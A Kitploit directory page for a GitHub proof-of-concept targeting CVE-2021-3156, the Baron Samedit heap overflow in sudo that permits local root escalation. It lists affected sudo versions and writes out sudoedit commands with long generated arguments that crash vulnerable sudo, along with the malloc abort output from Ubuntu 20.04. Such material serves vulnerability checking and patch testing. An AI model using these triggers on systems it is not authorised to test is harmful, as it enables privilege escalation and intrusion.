Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156 — Proof-of-concept exploit for CVE-2021-3156, a heap-based buffer overflow in sudo that allows local privilege escalation to root via sudoedit -s with a crafted command-line argument. | Kitploit
Tools/GitHubGitHub/shuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubshuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156

Proof-of-concept exploit for CVE-2021-3156, a heap-based buffer overflow in sudo that allows local privilege escalation to root via sudoedit -s with a crafted command-line argument.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
111 year agoNot yet reviewed

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156


Version Vulnarable To The Exploit

The Baron Samedit vulnerability (CVE-2021-3156) affects sudo legacy versions 1.8.2 through 1.8.31p2 and stable versions 1.9.0 through 1.9.5p1. This heap-based buffer overflow flaw was introduced in July 2011 via commit 8255ed69 and remained undetected for nearly a decade

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.

Checking the vulnarability with python command

root@kitploit:~
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
root@kitploit:~
malloc(): invalid size (unsorted)
Aborted

Checking the vulnarability with python command

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
root@kitploit:~
malloc(): corrupted top size
Aborted (core dumped)

Ussage and Result in ubuntu 20.04

root@kitploit:~
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)

shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Download Tool